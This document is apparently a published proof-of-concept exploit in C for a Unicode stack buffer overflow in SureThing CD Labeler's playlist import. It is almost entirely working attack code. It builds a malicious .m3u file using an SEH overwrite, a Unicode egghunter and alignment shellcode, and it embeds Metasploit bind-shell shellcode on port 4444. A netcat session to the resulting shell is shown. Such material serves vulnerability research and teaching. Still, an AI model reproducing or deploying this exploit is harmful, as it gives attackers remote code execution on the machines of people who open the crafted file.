SureThing CD Labeler – ‘.m3u/.pls’ Unicode Stack Overflow
/* surethingcdlabelerbofpoc.c ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SureThing cd labeler (m3u/pls) - unicode stack overflow PoC exploit Found by: Ruben Alejandro - chap0 Author: Steven Seeley - mr_me (http://net-ninja.net/) Greetz to: Corelan Security Team http://www.corelan.be:8800/index.php/security/corelan-team-members/ Writeup: Unicode, the magic of exploiting 0x00410041 (https://net-ninja.net/blog/?p=71) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Script provided 'as is', without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ usage: Compile this with lcc-win32 and execute it choosing your shellcode to create the .m3u file. Then click on 'playlists' --> 'Import Playlist from Hard Drive' --> 'Import playlist from a file on my computer' --> for filetype select 'Generic m3u/pls file' --> open evil m3u file --> boom. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mrme@backtrack:~$ nc -v 192.168.2.5 4444 192.168.2.5: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.2.5] 4444 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\> */ #include <stdio.h> #include <string.h> #include <stdlib.h> /* win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum http://metasploit.com */ unsigned char bind[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e" "\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58" "\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58" "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38" "\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a" "\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30" "\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57" "\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58" "\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30" "\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c" "\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44" "\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50" "\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f" "\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33" "\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f" "\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f" "\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50" "\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d" "\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45" "\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f" "\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38" "\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55" "\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d" "\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d" "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38" "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35" "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37" "\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56" "\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56" "\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54" "\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54" "\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53" "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51" "\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35" "\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35" "\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c" "\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f" "\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f" "\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e" "\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"; unsigned char calc[] = "\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55" "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c" "\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49" "\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51" "\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50" "\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34" "\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51" "\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" "\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50" "\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30" "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c" "\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a" "\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a" "\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43" "\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45" "\x50\x41\x41"; // unicode encoded egghunter unsigned char egghunter[] = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ" "1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY" "AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J" "O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"; // venetian shellcode unsigned char getAddressAndAlignEaxThenJmp[] = "\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x22\x6d\x2d\x02\x11\x6d" "\x2d\x02\x11\x6d\x50\x6d\xc3"; unsigned char tag[] = "\x77\x30\x30\x74\x77\x30\x30\x74"; int main ( int argc , char * argv[]) { FILE* expfle = NULL; char* SEH = "\x72\x73"; // CALL DWORD PTR SS:[EBP-4] from dwwin.dll char* NSEH = "\x41\x6d"; int i; printf("\n***************************************************************************\n"); printf("\tSureThing CD Labeler Unicode stack overflow PoC Exploit\n"); printf("\tFound by: Ruben Alejandro - chap0\n"); printf("\tCode by: Steven Seeley - mr_me\n"); printf("\thttp://www.net-ninja.net/\n"); printf("***************************************************************************\n"); if( (expfle=fopen("cst-surethingcdlabeler.m3u","wb")) ==NULL ) { perror("\n[-] Cannot create the exploit file.."); exit(0); } for (i=0; i<8; i++) { fwrite("\x41", 1, 1, expfle); // junk } fwrite(egghunter, sizeof(egghunter)-1, 1, expfle); // egghunter for (i=0; i<62; i++) { fwrite("\x41", 1, 1, expfle); // junk } fwrite(nseh, sizeof(nseh)-1, 1, expfle); // nseh - walk fwrite(seh, sizeof(seh)-1, 1, expfle); // seh - unicode friendly fwrite(getAddressAndAlignEaxThenJmp, // custom unicode shellcode sizeof(getAddressAndAlignEaxThenJmp)-1, 1, expfle); for (i=0; i<405; i++) { fwrite("\x41", 1, 1, expfle); // junk } fwrite(tag, sizeof(tag)-1, 1, expfle); // egghunter tag printf ("\n[+] Enter shellcode option: \n"); printf ("\n\t1. Bindshell on port 4444"); printf ("\n\t2. Calc.exe\n"); scanf ("%d",&i); if (i == 1){ fwrite(bind, sizeof(bind)-1, 1, expfle); // bind } else if (i == 2){ fwrite(calc, sizeof(calc)-1, 1, expfle); // calc } fclose(expfle); printf("\n[+] cst-surethingcdlabeler.m3u created successfully! \r\n"); return 0; } |